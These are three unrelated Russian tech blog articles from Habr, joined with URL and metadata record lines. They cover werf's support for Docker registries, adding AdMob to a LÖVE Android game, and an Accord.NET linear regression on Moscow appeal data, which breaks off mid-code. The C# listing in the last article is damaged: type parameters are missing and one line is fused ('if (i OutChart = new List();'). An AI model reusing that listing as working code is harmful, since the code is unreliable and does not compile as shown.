Все популярные реализации реестров для образов контейнеров поддерживают [Docker Registry HTTP API](https://docs.docker.com/registry/spec/api/) и позволяют использовать одни и те же инструменты для работы с ними. Тем не менее, часть реализаций имеет свои особенности и ограничения, а значит — если вам нужно их поддерживать в своем инструментарии для CI/CD, — с этой спецификой необходимо считаться. Так у нас и случилось в процессе работы над GitOps-утилитой [werf](https://werf.io/), когда мы захотели улучшить в ней то, как обеспечивается жизненный цикл образов.
В статье рассказывается об основных особенностях поддерживаемых имплементаций Docker Registry, а также о соответствующих нововведениях в werf.
Хранение образов
----------------
Для хранения Docker-контейнеров, их образов, необходим реестр (registry). Строго говоря, registry — сервис для хранения *репозиториев* (AWS ECR, Azure CR, Docker Hub и так далее). В репозитории хранятся *образы*, сгруппированные по имени.
При использовании werf для сборки приложений и/или их деплоя в Kubernetes доступны опции `--images-repo` и `--images-repo-mode`, которые позволяют определить, где и как (в одном или нескольких репозиториях\*) будут храниться образы приложения в registry.
*\* Проблематика и история внедрения этой опции описывалась в статье «[Поддержка monorepo и multirepo в werf и при чём здесь Docker Registry](https://habr.com/ru/company/flant/blog/465131/)».*
Параметр `--images-repo` может быть как адресом **registry**, так и **repository**. По сути это значение является основой для построения имени образа, а вовсе не обязательно репозиторием, в котором будут храниться образы (шаблоны, описанные ниже, проясняют этот момент).
Для параметра `--images-repo-mode` поддерживаются два значения, которые определяют шаблон, по которому строится конечное имя образа:
* `IMAGES_REPO:IMAGE_NAME-TAG` — шаблон для режима **monorepo**;
* `IMAGES_REPO/IMAGE_NAME:TAG` — шаблон для режима **multirepo**.
***Примечание**: при использовании единственного и безымянного образа (`image: ~`) значение параметра опции `--images-repo-mode` не имеет никакого смысла, т.к. конечный образ будет всегда использовать значение `--images-repo` в качестве репозитория (`IMAGES_REPO:TAG`).*
Так как образы не могут храниться в registry, использование режима monorepo совместно с registry не имеет никакого смысла. По этой же причине нельзя использовать безымянный образ (`image: ~`) и registry, независимо от значения `--images-repo-mode`.
### Поддержка возможных опций
Таким образом, пользователю доступны 3 возможные комбинации значений этих параметров. В таблице ниже представлен список реализаций Docker Registry и поддержка в них этих комбинаций:
| реализация | registry + multirepo | repository + monorepo | repository + multirepo |
| --- | --- | --- | --- |
| AWS ECR\* | + | + | + |
| Azure CR | + | + | + |
| Default (DTR) | + | + | + |
| Docker Hub | + | + | - |
| GCR | + | + | + |
| GitHub Packages | + | + | - |
| GitLab Registry | + | + | + |
| Harbor | + | + | + |
| Quay | + | + | - |
*\* В AWS ECR репозитории не создаются автоматически при публикации образа. Требуется создать их вручную (через UI или API) перед использованием.*
Как видно по таблице, единственное ограничение распространяется на Docker Hub, GitHub Packages и Quay: в них не поддерживаются многоуровневые имена репозиториев (~~`REGISTRY/REPO/SUBREPO`~~).
Тип реализации, равно как и значение `--images-repo-mode`, определяется автоматически. Для реализаций, которые поддерживают всё без исключения, multirepo — всегда значения по умолчанию. Значение для остальных имплементаций определяется автоматически по переданному значению `--images-repo`.
Для того, чтобы задать имя имплементации вручную, можно воспользоваться опцией `--implementation`. Это может понадобиться, например, если в качестве адреса используется алиас из `hosts` или необходимо вручную запустить очистку GitLab Registry с помощью werf (при использовании в pipeline `ci-env` проставит необходимое значение при необходимости).
### Иллюстрация
А теперь небольшой пример, который прояснит всё вышесказанное.
Рассмотрим следующий `werf.yaml`:
```
project: flant
configVersion: 1
---
image: backend
dockerfile: Dockerfile
target: backend
---
image: frontend
dockerfile: Dockerfile
target: frontend
```
… и аккаунт на Docker Hub под названием `flant`.
Параметр `--images-repo=flant` приведёт к следующим тегам:
* `flant/frontend:tag`
* `flant/backend:tag`
```
werf build-and-publish -s=:local -i=flant --tag-custom=tag
```
Параметр `--images-repo=flant/project` приведёт к следующим тегам:
* `flant/project:frontend-tag`
* `flant/project:backend-tag`
```
werf build-and-publish -s=:local -i=flant/project --tag-custom=tag
```
#### Пояснение к werf build-and-publish
Это команда для сборки образов, описанных в `werf.yaml`, и их последующей публикации в реестре. Используемые параметры:
* `-s` — краткая запись опции `--stages-storage`, которая определяет хранилище стадий (подробнее про зависимость образов от стадий — см. в [документации](https://ru.werf.io/documentation/reference/stages_and_images.html));
* `-i` — краткая запись опции `--images-repo`;
* `--tag-custom` — одна из возможных опций тегирования (подробнее про именования и доступные схемы тегирования — в [документации](https://ru.werf.io/documentation/reference/publish_process.html#%D0%B8%D0%BC%D0%B5%D0%BD%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5-%D0%BE%D0%B1%D1%80%D0%B0%D0%B7%D0%BE%D0%B2)).
Очистка образов
---------------
Еще одна задача, требующей внимания в контексте реестров образов, — это очистка. Ниже представлена таблица, в которой сопоставлены имплементации и необходимый API для удаления тегов:
| Реализация | API |
| --- | --- |
| AWS ECR | Amazon ECR API |
| Azure CR | Azure CR API |
| Default (DTR) | Docker Registry API |
| Docker Hub | Docker Hub API |
| GCR | Docker Registry API |
| GitHub Packages | GitHub GraphQL API (только в приватных git-репозиториях) |
| GitLab Registry | Docker Registry API |
| Harbor | Docker Registry API |
| Quay | Docker Registry API |
Для реализаций, поддерживающих удаление тегов с Docker Registry API, достаточно выполнить `docker login` с токеном, наделенным достаточными полномочиями. А у остальных имплементаций: AWS ECR, Azure CR, Docker Hub и GitHub Packages — неполная поддержка Docker Registry API, поэтому потребуется использовать их API для удаления тегов. При их очистке могут потребоваться дополнительные пользовательские данные.
### Особенности
Каковы же особенности использования этих имплементаций при очистке с werf?
* Для **Azure** необходимо [установить CLI](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli?view=azure-cli-latest) (`az`) и выполнить авторизацию пользователя с одной из следующих ролей: *Owner*, *Contributor* или *AcrDelete*. Подробности доступны в документации: [Azure CR roles and permissions](https://docs.microsoft.com/en-us/azure/container-registry/container-registry-roles).
* При удалении тегов из **AWS ECR** используется AWS SDK. Пользователь может установить [AWS CLI и выполнить конфигурацию](https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-configure.html#cli-quick-configuration) (`aws configure`) или просто задать переменные окружения `AWS_ACCESS_KEY_ID` и `AWS_SECRET_ACCESS_KEY` перед выполнением очистки.
* Для чистки тегов в репозитории **Docker Hub** werf использует Docker Hub API и для работы требуется token. Пользователь может задать токен\* (`--images-repo-docker-hub-token`) или пользователя с паролем (`--images-repo-docker-hub-username` + `--images-repo-docker-hub-password`).
Обратите внимание, что в качестве токена для Docker Hub нельзя использовать [personal access token](https://docs.docker.com/docker-hub/access-tokens/), т.к. удаление ресурсов возможно только при использовании основных учётных данных.
*\* Используя следующий скрипт, пользователь может получить token самостоятельно:*
```
HUB_USERNAME=USERNAME
HUB_PASSWORD=PASSWORD
HUB_TOKEN=$(curl -s -H "Content-Type: application/json" -X POST -d '{"username": "'${HUB_USERNAME}'", "password": "'${HUB_PASSWORD}'"}' https://hub.docker.com/v2/users/login/ | jq -r .token)
```
* Для [удаления версий package приватного репозитория](https://help.github.com/en/packages/publishing-and-managing-packages/deleting-a-package) в **GitHub** используется GraphQL. От пользователя требуется token (`--images-repo-github-token`) со следующими scopes: *read:packages*, *write:packages*, *delete:packages* и *repo*.
Резюмируя
---------
Мы решили поддерживать следующий набор реализаций Docker Registry в werf:
* AWS ECR;
* Azure CR;
* Docker Hub;
* Default (DTR);
* GCR;
* GitHub Packages;
* GitLab Registry;
* Harbor;
* Quay.
Все они проходят полный цикл тестирования и мы готовы оперативно реагировать на изменения.
Описанные в статье фичи доступны в релизах werf с версии [v1.1.9+fix2](https://github.com/flant/werf/releases/tag/v1.1.9%2Bfix2).
Актуальные изменения и особенности, связанные с поддерживаемыми реализациями Docker Registry, доступны в [документации проекта](https://ru.werf.io/v1.1-alpha/documentation/reference/working_with_docker_registries.html).
P.S.
----
Читайте также в нашем блоге:
* «[Content-based tagging в сборщике werf: зачем и как это работает?](https://habr.com/ru/company/flant/blog/495112/)»;
* «[Релиз werf 1.1: улучшения в сборщике сегодня и планы на будущее](https://habr.com/ru/company/flant/blog/493170/)»;
* «[3-way merge в werf: деплой в Kubernetes с Helm „на стероидах“](https://habr.com/ru/company/flant/blog/476646/)»;
* «[Использование werf для выката комплексных Helm-чартов](https://habr.com/ru/company/flant/blog/468049/)»;
* «[Поддержка monorepo и multirepo в werf и при чём здесь Docker Registry](https://habr.com/ru/company/flant/blog/465131/)». | https://habr.com/ru/post/496992/ | null | ru | null |
# LÖVE + Android + AdMob = дружба
Однажды возникло желание изучить для своих скромных нужд [Lua](http://ru.wikipedia.org/wiki/Lua). Но просто прочесть спецификации и примеры не интересно, и давно была мысль написать свою логическую игру под Android, начались поиски подходящего фреймворка для комфортной работы.
После недолгого просмотра гугла выделились 2 основных кандидата: [Corona SDK](http://coronalabs.com/products/corona-sdk/) и [LÖVE](http://love2d.org/). Corona SDK обладает, с моей точки зрения, несомненными преимуществами: поддержка, хорошая документация, легкая интеграция разнообразных магазинов/реклам/социальных сетей (нужное подчеркнуть). Несмотря на это, сам SDK платный, нет версии под Linux. Версия Starter обладает рядом ограничений.
После Corona SDK я взялся за внимательное рассмотрение LÖVE. Первым делом подкупила надпись на стартовой странице:
> It's free, open-source, and works on Windows, Mac OS X and Linux.
> LÖVE is licensed under the liberal [zlib/libpng license](http://opensource.org/licenses/zlib-license.php). That means you can use it freely for any purpose — including commercial ones.
Есть довольно хорошая документация даже на русском языке. Фреймфорк легок в установке. Как написать игру, используя LÖVE пользователь [yegorf1](http://habrahabr.ru/users/yegorf1/) писал [здесь](http://habrahabr.ru/post/202540/) и продолжил [здесь](http://habrahabr.ru/post/203082/). Так, неспешно изучая возможности фреймворка, я написал прототип своего приложения. И здесь началось самое интересное.
##### Вопрос №1
Как запустить приложение под андроид, чтобы наконец проверить свое «чудо» на любимом смартфоне?
Поиск ответа на этот вопрос навел меня на проект [love-android-sdl2](https://bitbucket.org/MartinFelis/love-android-sdl2/overview), разработчиком которого является [Martin Felis](https://bitbucket.org/MartinFelis). Как пишет автор, проект является портом LÖVE под андроид. По сути это порт Lua на [SDL 2.0 под андроид](http://habrahabr.ru/post/189924/).
1. Пакуем свое приложение в zip-архив и переименовываем его в game.love
2. Коприуем архив в папку assets проекта.
3. Собираем .apk-файл согласно инструкциям для [Linux](https://bitbucket.org/MartinFelis/love-android-sdl2/wiki/Building_L%C3%96VE_for_Android_-_Linux), [Windows](https://bitbucket.org/MartinFelis/love-android-sdl2/wiki/Building_L%C3%96VE_for_Android_-_Windows), [Mac OS X](https://bitbucket.org/MartinFelis/love-android-sdl2/wiki/Building_L%C3%96VE_for_Android_-_Mac_OS_X). Процесс подробно описан у автора, если кратко его описать, то это несколько шагов:
1. Установка Android SDK, Android NDK
2. Утановка Android SDK Platoform-tools, Android SDK Built-tools, Android 4.4.2 (API 19) and the Android Support Library через SDK Manager
3. Запуск сборки в директории с проектом. Сначала ndk-build, потом ant debug.
На выходе мы имеем .apk-файл, который же можно залить в телефон и наконец потестировать! Как собрать релиз и подписать его, можно подробно почитать [здесь](http://developer.android.com/tools/building/building-cmdline.html).
Итак, ответ на первый вопрос получен. Конечно, сделать быстрое или очень экономное приложение вряд ли получится, но для быстрого прототипирования на Lua или легковесной игры самое то. Почти пустой .apk-файл сразу весит около 5 мб, а основное приложение в ассетах может повергнуть эстетов Java или С++ в легкий шок, хотя насчет последних я не уверен. Можно попробовать убрать ненужные библиотеки, но это уже тема других экспериментов.
Когда приложение стало приобретать все более законченные черты, пришла пора задуматься о возможной монетизации. Конечно, есть вариант совсем для ленивых. Выставить приложение за фиксированную цену и ждать у моря на Мальдивах легкого бриза. Но я себе такого пока позволить не могу, а учитывая таргетирование на андроид, я подумал, что надо так или иначе встроить рекламу. Интеграцией с рекламным сервисом AdMob я никогда не занимался. Учитывая специфику получившегося «бутерброда» из библиотек, мне стало еще интереснее.
##### Вопрос №2
Как интегрировать AdMob в свое приложение?
Поскольку официальная справка ([en](https://developers.google.com/mobile-ads-sdk/docs/) и [рус](https://developers.google.com/mobile-ads-sdk/docs/?hl=ru-ru)) предлагает использовать в этом процесс Eclipse, стало очевидно, что:
1. Необходимо собрать приложение в Eclipse. Эта часть в основном полезна для новичков. Для этого скачиваем чистый проект love-android-sdl2.
```
git clone git@bitbucket.org:MartinFelis/love-android-sdl2.git
```
2. Открываем Eclipse (я использую из ADT Bundle). Создаем новый workspace и добавляем наш проект *File → New → Project… → Android → Android Project from Existing Code*.
Далее указываем путь до папки с проектом. Должно определиться 2 проекта: love-android-sdl2 и SDLActivity. Жмем *Finish*.
3. Заходим в свойства проекта SDLActivity. Левой кнопкой мыши жмем на проект, выбираем *Properties*. Далее Android и ставим галочку *Is Library*. Жмем *OK*.
4. Заходим в свойства проекта love-android-sdl2. *Java Build Path → вкладка Libraries → Add JARs… → находим SDLActivity/bin/sdlactivity.jar*.
5. Затем идем во вкладку *Builders* и снимаем галочку напротив *[Löve] Generate Internal Scripts*.
6. Нажимаем кнопку *Run As… → Android Application* .
7. Ждем пока соберется проект, и Eclipse попросит нас подключить устройство или запустить love-android-sdl2.apk на эмуляторе.
Первая серия экспериментов с использованием официальной справки по интеграции AdMob не привела к успеху. Я обратился за помощью к разработчику проекта, но он ответил, что еще не пробовал добавлять AdMob в свой проект, и что ему бы было тоже интересно, как это сделать.
1. Следуем инструкциям стандартной справки начиная с раздела [1. Внедрение библиотеки сервисов Google Play в проект](https://developers.google.com/mobile-ads-sdk/docs/?hl=ru-ru). Единственное оговорюсь, что проект google-play-services\_lib необходимо добавить сначала из sdk/extras/google/google\_play\_services/libproject/google-play-services\_lib.
2. Дальше можно сделать *Project → Clean… → Clean all project → OK* и перезапустить сборку.
3. Открываем файл love-android-sdl2/src/org.love2d.android/GameActivity.java
4. Дописываем необходимый код.
**Листинг GameActivity.java**
```
package org.love2d.android;
import com.google.android.gms.ads.*; // импортируем библиотеки для рекламы
import org.libsdl.app.SDLActivity;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import android.app.DownloadManager;
import android.app.ProgressDialog;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.net.Uri;
import android.os.AsyncTask;
import android.os.Build;
import android.os.Bundle;
import android.os.Environment;
import android.os.Handler;
import android.os.PowerManager;
import android.os.ResultReceiver;
import android.util.Log;
import android.util.DisplayMetrics;
import android.widget.RelativeLayout;
import android.widget.Toast;
public class GameActivity extends SDLActivity {
private static DisplayMetrics metrics = new DisplayMetrics();
private static String gamePath = "";
private static Context context;
private AdView adView;
@Override
protected void onCreate(Bundle savedInstanceState) {
Log.d("GameActivity", "started");
context = this.getApplicationContext();
Uri game = this.getIntent().getData();
if (game != null) {
if (game.getScheme().equals ("file")) {
gamePath = game.getPath();
} else {
copyGameToCache (game);
}
Log.d("GameActivity", "Selected the file: " + getGamePath());
}
super.onCreate(savedInstanceState);
getWindowManager().getDefaultDisplay().getMetrics(metrics);
// Создаем экземпляр AdView
adView = new AdView(mSingleton);
adView.setAdSize(AdSize.BANNER); // задаем размер
adView.setAdUnitId("ca-app-pub-1209995634500922/8885931497"); // прописывам id приложения
// Задаем параметры отображения
RelativeLayout.LayoutParams params = new RelativeLayout.LayoutParams(
RelativeLayout.LayoutParams.WRAP_CONTENT,
RelativeLayout.LayoutParams.WRAP_CONTENT);
params.addRule(RelativeLayout.ALIGN_PARENT_TOP);
params.addRule(RelativeLayout.CENTER_HORIZONTAL);
AdRequest adRequest = new AdRequest.Builder().build();
adView.loadAd(adRequest);
mLayout.addView(adView, params);
}
public static String getGamePath() {
Log.d ("GameActivity", "called getGamePath(), game path = " + gamePath);
return gamePath;
}
public static DisplayMetrics getMetrics() {
return metrics;
}
public static void openURL (String url) {
Log.d ("GameActivity", "opening url = " + url);
Intent i = new Intent(Intent.ACTION_VIEW);
i.setData(Uri.parse(url));
i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(i);
}
void copyGameToCache (Uri sourceuri)
{
String destinationFilename = this.getCacheDir().getPath()+"/downloaded.love";
gamePath = destinationFilename;
BufferedOutputStream bos = null;
try {
bos = new BufferedOutputStream(new FileOutputStream(destinationFilename, false));
} catch (IOException e) {
Log.d ("GameActivity", "Could not open destination file:" + e.getMessage());
}
int chunk_read = 0;
int bytes_written = 0;
BufferedInputStream bis = null;
if (sourceuri.getScheme().equals("content")) {
try {
bis = new BufferedInputStream(getContentResolver().openInputStream(sourceuri));
} catch (IOException e) {
Log.d ("GameActivity", "Could not open game file:" + e.getMessage());
}
} else {
Log.d ("GameActivity", "Unsupported scheme: " + sourceuri.getScheme());
}
if (bis != null) {
// actual copying
try {
byte[] buf = new byte[1024];
chunk_read = bis.read(buf);
do {
bos.write(buf, 0, chunk_read);
bytes_written += chunk_read;
chunk_read = bis.read(buf);
} while(chunk_read != -1);
} catch (IOException e) {
Log.d ("GameActivity", "Copying failed:" + e.getMessage());
}
}
// close streams
try {
if (bis != null) bis.close();
if (bos != null) bos.close();
} catch (IOException e) {
Log.d ("GameActivity", "Copying failed: " + e.getMessage());
}
Log.d("GameActivity", "Copied " + bytes_written + " bytes");
}
}
```
5. Пересобираем наше приложение, запускаем, немного ждем и видим сверху рекламу!
Ответ на второй и больше всего волнующий меня вопрос был найден. Таким способом мне удалось «подружить» LÖVE, Android и AdMob. Моя игра почти закончена, я надеюсь на скорый релиз. Happy end. | https://habr.com/ru/post/219255/ | null | ru | null |
# «Письмо турецкому султану» или линейная регрессия на C# с помощью Accord.NET для анализа открытых данных Москвы
Когда речь идет об освоении самых основ машинного обучения, чаще всего предлагается изучить соответствующие инструменты на [Python или R](https://habrahabr.ru/company/piter/blog/263457/). Мы не будем обсуждать их плюсы и минусы, а просто зададимся вопросом, что делать если вы знакомы только с экосистемой .NET, но при этом вам очень любопытно окунутся в мир науки о данных? Ответ прост, не отчаиваться и посмотреть в сторону [F#](http://fsharp.org/guides/data-science/), а если вы также, как и я из .NET знаете только азы C#, то попробовать изучить [Accord.NET Framework](http://accord-framework.net/).
Мы с вами уже разбирали его применение для решения [задачи классификации](https://habrahabr.ru/post/337438/), а в этот раз попробуем рассмотреть простейший инструментарий для линейной регрессии. Для этого мы воспользуемся открытыми данными по анализу обращений граждан взятыми с официального [сайта Мэра Москвы](https://www.mos.ru/feedback/reviews/).
Несмотря на то, что в заголовке статьи указан **C#**, мы попробуем собрать код и на **VB.NET**.
Мне осталось только пригласить вас под кат!
Чтобы **избежать [подобных комментариев](https://habrahabr.ru/post/343216/#comment_10540732)**, сразу в самом начале скажу, что **я не имею никакого отношения к правительству Москвы**, управам, префектурам и т.п. поэтому **нет смысла мне жаловаться на их работу**. Я просто случайно нашел [эти данные](https://www.mos.ru/feedback/reviews/), вручную забил их в табличку и выложил для вас на [GitHub](https://github.com/bosonbeard/Funny-models-and-scripts/tree/master/3.Machine_learning/1.msc_mayor_app).
Ну и еще если кому любопытно, то эта статья продолжает мини-цикл, посвященный тому как я учился Data Science с нуля *(и так толком не выучился)*, если кому интересно, то я спрятал ссылки на остальные статьи под спойлер.
**Другие статьи цикла**1. Учим азы:
* «[Ловись Data большая и маленькая!](https://habrahabr.ru/post/331118/)» — (Краткий обзор курсов по Data Science от Cognitive Class)
* «[Теперь он и тебя сосчитал](https://habrahabr.ru/post/331794/)» или Наука о данных с нуля (Data Science from Scratch)
* «[Айсберг вместо Оскара!](https://habrahabr.ru/post/331992/)» или как я пробовал освоить азы DataScience на kaggle
* «[«Паровозик, который смог!» или «Специализация Машинное обучение и анализ данных», глазами новичка в Data Science](https://habrahabr.ru/post/335214/)
2. Практикуем первые навыки
* [“Восстание МашинLearning” или совмещаем хобби по Data Science и анализу спектров лампочек](https://habrahabr.ru/post/337040)
* [«Как по нотам!» или Машинное обучение (Data science) на C# с помощью Accord.NET Framework](https://habrahabr.ru/post/337438/)
* [«Используй Силу машинного обучения, Люк!» или автоматическая классификация светильников по КСС](https://habrahabr.ru/post/338124/)
* [«4 свадьбы и одни похороны» или линейная регрессия для анализа открытых данных правительства Москвы](https://habrahabr.ru/post/340698/)
Честно признаюсь я не программист, к тому же Accord.NET я изучил очень поверхностно. К сожалению по нему не так много литературы, да и учебных on-line курсов как-то сходу не нашлось, так что во многом остается только сайт разработчиков, а он не так информативен, как хотелось бы.
Поэтому с предложенным выше набором данных основные манипуляции я проводил в прошлой [статье цикла](https://habrahabr.ru/post/340698/) (там же и более подробное описание набора данных). А в данной статье, мы со скрипом попробуем прочитать данные, обучить модель и построить какой-нибудь график.
Содержание:
[Часть I: введение и немного о данных](#I)
[Часть II: пишем код на C#](#II)
[Часть III: пишем код на VB и заключение](#III)
Прежде чем начать писать код — два слова о данных.
Это открытые данные по анализу обращений граждан поступивший в адрес тех или иных органов исполнительной власти г. Москвы. Надо сказать, что статистика скудная, пока всего 22 месяца.
По факту могло бы быть – 23 месяца, но в ноябре разработчики предоставили неполный комплект данных, и я его не включил.
[Данные представлены в формате csv.](https://github.com/bosonbeard/Funny-models-and-scripts/tree/master/3.Machine_learning/1.msc_mayor_app) Столбцы данных означают следующее:
`num – Индекс записи
year – год записи
month – месяц записи
total_appeals – общее количество обращений за месяц
appeals_to_mayor – общее количество обращений в адрес Мэра
res_positive- количество положительных решений
res_explained – количество обращений на которые дали разъяснения
res_negative – количество обращений с отрицательным решением
El_form_to_mayor – количество обращений к Мэру в электронной форме
Pap_form_to_mayor - количество обращений к Мэру на бумажных носителях to_10K_total_VAO…to_10K_total_YUZAO – количество обращений на 10000 населения в различных округах Москвы
to_10K_mayor_VAO… to_10K_mayor_YUZAO– количество обращений в адрес Мэра и правительства Москвы на 10000 населения в различных округах города`
Я не нашел способа автоматизировать процесс сбора данных и их пришлось в итоге собирать руками, так что я мог где-то слегка ошибиться, ну и саму по себе достоверность данных оставлю на совести авторов.
Осталось рассказать буквально пару слов о самом фреймворке и можно переходить к коду.
[Accord.NET](http://accord-framework.net/) – это проект с **открытым исходным кодом**, который тем не менее в большинстве случаев может использоваться для коммерческой разработки под лицензией LGPL. Похоже, что фреймворк имеет весь базовый инструментарий необходимый для анализа данных и машинного обучения, от проверки статистических гипотез до нейронных сетей.
Теперь можно с чистой совестью перейти к коду.
Решение с проектом на C# и VB.NET я выложил для вас на [GitHub](https://github.com/bosonbeard/Funny-models-and-scripts/tree/master/3.Machine_learning/1.msc_mayor_app/msc_vb_cs), вы можете просто его скачать и попробовать собрать (по идее должно запуститься). Если вы хотите сами создать проект с нуля, то для аналогичного функционала необходимо сделать следующее:
1. Создать новый проект (я создал консольный проект с Net Framework 4.5).
2. С помощью менеджера пакетов (NuGet) установить Accord.Controls версии 3.8 (он потянет все остальные нужные нам пакеты), а также Accord.IO для работы с таблицами. Также для отрисовки графика понадобится включить стандартную библиотеку Windows.Forms. Вот собственно и всё можно писать код.
Полный код на C# размещу под спойлером.
**Полный код для C#**
```
using System;
using System.Linq;
using Accord.Statistics.Models.Regression.Linear;
using Accord.IO;
using Accord.Math;
using System.Data;
using System.Collections.Generic;
using Accord.Controls;
using Accord.Math.Optimization.Losses;
namespace cs_msc_mayor
{
class Program
{
static void Main(string[] args)
{
//for separating the training and test samples
int traintPos = 18;
int testPos = 22;
int allData = testPos + (testPos - traintPos);
//for correct reading symbol of float point in csv
System.Globalization.CultureInfo customCulture = (System.Globalization.CultureInfo)System.Threading.Thread.CurrentThread.CurrentCulture.Clone();
customCulture.NumberFormat.NumberDecimalSeparator = ".";
System.Threading.Thread.CurrentThread.CurrentCulture = customCulture;
//read data
string CsvFilePath = @"msc_appel_data.csv";
DataTable mscTable = new CsvReader(CsvFilePath, true).ToTable();
//for encoding the string values of months into numerical values
Dictionary monthNames = new Dictionary
{
["January"] = 1,
["February"] = 2,
["March"] = 3,
["April"] = 4,
["May"] = 5,
["June"] = 6,
["July"] = 7,
["August"] = 8,
["September"] = 9,
["October"] = 10,
["November"] = 11,
["December"] = 12
};
string[] months = mscTable.Columns["month"].ToArray();
double[] dMonths= new double[months.Length];
for (int i=0; i< months.Length; i++)
{
dMonths[i] = monthNames[months[i]];
//Console.WriteLine(dMonths[i]);
}
//select the target column
double[] OutResPositive = mscTable.Columns["res\_positive"].ToArray();
// separation of the test and train target sample
double[] OutResPositiveTrain = OutResPositive.Get(0, traintPos);
double[] OutResPositiveTest = OutResPositive.Get(traintPos, testPos);
//deleting unneeded columns
mscTable.Columns.Remove("total\_appeals");
mscTable.Columns.Remove("month");
mscTable.Columns.Remove("res\_positive");
mscTable.Columns.Remove("year");
//add coded in a double column month into Table
//create new column
DataColumn newCol = new DataColumn("dMonth", typeof(double));
newCol.AllowDBNull = true;
// add new column
mscTable.Columns.Add(newCol);
//fill new column
int counter = 0;
foreach (DataRow row in mscTable.Rows)
{
row["dMonth"] = dMonths[counter];
counter++;
}
//receiving input data from a table
double[][] inputs = mscTable.ToArray();
//separation of the test and train sample
double[][] inputsTrain= inputs.Get(0, traintPos);
double[][] inputsTest = inputs.Get(traintPos, testPos);
//simple linear regression model
var ols = new OrdinaryLeastSquares()
{
UseIntercept = true
};
//linear regression model for several features
MultipleLinearRegression regression = ols.Learn(inputsTrain, OutResPositiveTrain);
//make a prediction
double[] predicted = regression.Transform(inputsTest);
//console output
for (int i = 0; i < testPos - traintPos; i++)
{
Console.WriteLine("predicted: {0} real: {1}", predicted[i], OutResPositiveTest[i]);
}
// And print the squared error using the SquareLoss class:
Console.WriteLine("error = {0}", new SquareLoss(OutResPositiveTest).Loss(predicted));
// print the coefficient of determination
double r2 = new RSquaredLoss(numberOfInputs: 29, expected: OutResPositiveTest).Loss(predicted);
Console.WriteLine("R^2 = {0}", r2);
// alternative print the coefficient of determination
double ur2 = regression.CoefficientOfDetermination(inputs, OutResPositiveTest, adjust: true);
Console.WriteLine("alternative version of R2 = {0}", r2);
Console.WriteLine("Press enter and close chart to exit");
// for chart
int[] classes = new int[allData];
double[] mountX = new double[allData];
for (int i = 0; i < allData; i++)
{
if (i OutChart = new List();
OutChart.AddRange(OutResPositive);
OutChart.AddRange(predicted);
// plot chart
ScatterplotBox.Show("res\_positive from months", mountX, OutChart.ToArray(), classes).Hold();
// for pause
Console.ReadLine();
}
}
}
```
Во многом решение задачи линейной регрессии взято из примера с [сайта разработчиков](http://accord-framework.net/docs/html/T_Accord_Statistics_Models_Regression_Linear_MultipleLinearRegression.htm), там всё не очень сложно, но все же давайте разберем код по частям.
```
using System;
using System.Linq;
using Accord.Statistics.Models.Regression.Linear;
using Accord.IO;
using Accord.Math;
using System.Data;
using System.Collections.Generic;
using Accord.Controls;
using Accord.Math.Optimization.Losses;
```
Загружаем пространства имен сторонних библиотек.
```
namespace cs_msc_mayor
{
class Program
{
static void Main(string[] args)
{
```
Создаем пространство имен, класс, главный метод – всё тривиально.
```
//for separating the training and test samples
int traintPos = 18;
int testPos = 22;
int allData = testPos + (testPos - traintPos);
```
Определяем переменные, которые впоследствии нам пригодятся, чтобы разделить данные на контрольную и обучающие выборки.
```
//for correct reading symbol of float point in csv
System.Globalization.CultureInfo customCulture = (System.Globalization.CultureInfo)System.Threading.Thread.CurrentThread.CurrentCulture.Clone();
customCulture.NumberFormat.NumberDecimalSeparator = ".";
System.Threading.Thread.CurrentThread.CurrentCulture = customCulture;
```
Это нам пригодится, чтобы наш разделитель дробной части числа читался одинаково и в версии проекта на python и в версии на .NET *(по крайней мере у меня)*.
```
//read data
string CsvFilePath = @"msc_appel_data.csv";
DataTable mscTable = new CsvReader(CsvFilePath, true).ToTable();
```
Считываем данные из csv файла в формат таблицы данных.
```
//for encoding the string values of months into numerical values
Dictionary monthNames = new Dictionary
{
["January"] = 1,
["February"] = 2,
["March"] = 3,
["April"] = 4,
["May"] = 5,
["June"] = 6,
["July"] = 7,
["August"] = 8,
["September"] = 9,
["October"] = 10,
["November"] = 11,
["December"] = 12
};
string[] months = mscTable.Columns["month"].ToArray();
double[] dMonths= new double[months.Length];
for (int i=0; i< months.Length; i++)
{
dMonths[i] = monthNames[months[i]];
//Console.WriteLine(dMonths[i]);
}
```
Чтобы обрабатывать данные о том в какой месяц происходили обращения, необходимо перевести их в удобоваримый формат, в данном случае всё будем кодировать в тип double.
По аналогии с решением на Python мы вначале создадим словарь, а потом перекодируем данные в соответствии с ним с помощью цикла.
```
//select the target column
double[] OutResPositive = mscTable.Columns["res_positive"].ToArray();
// separation of the test and train target sample
double[] OutResPositiveTrain = OutResPositive.Get(0, traintPos);
double[] OutResPositiveTest = OutResPositive.Get(traintPos, testPos);
```
Выделим целевую функцию. Прогнозировать мы с вами будем число положительных решений на все обращения.
В первой строке мы вытаскиваем эти данные из таблицы преобразуя к типу double.
А затем в другие две переменные копируем позиции с 0 по 18 для учебной выборки и с 18 до 22 для контрольной выборки.
```
//deleting unneeded columns
mscTable.Columns.Remove("total_appeals");
mscTable.Columns.Remove("month");
mscTable.Columns.Remove("res_positive");
mscTable.Columns.Remove("year");
```
Удаляем из таблицы ненужные столбцы: нашу целевую функцию, месяцы, годы, и общее число обращений, потому что оно включает в себя сведения о положительном результате рассмотрения.
```
//add coded in a double column month into Table
//create new column
DataColumn newCol = new DataColumn("dMonth", typeof(double));
newCol.AllowDBNull = true;
// add new column
mscTable.Columns.Add(newCol);
//fill new column
int counter = 0;
foreach (DataRow row in mscTable.Rows)
{
row["dMonth"] = dMonths[counter];
counter++;
}
```
А теперь, добавим столбец с перекодированным месяцами, для начала создаём новую колонку, добавим её к таблице, а потом в цикле заполним.
```
//receiving input data from a table
double[][] inputs = mscTable.ToArray();
//separation of the test and train sample
double[][] inputsTrain= inputs.Get(0, traintPos);
double[][] inputsTest = inputs.Get(traintPos, testPos);
```
По аналогии с целевой функцией создаем массивы входных данных (признаков).
```
//simple linear regression model
var ols = new OrdinaryLeastSquares()
{
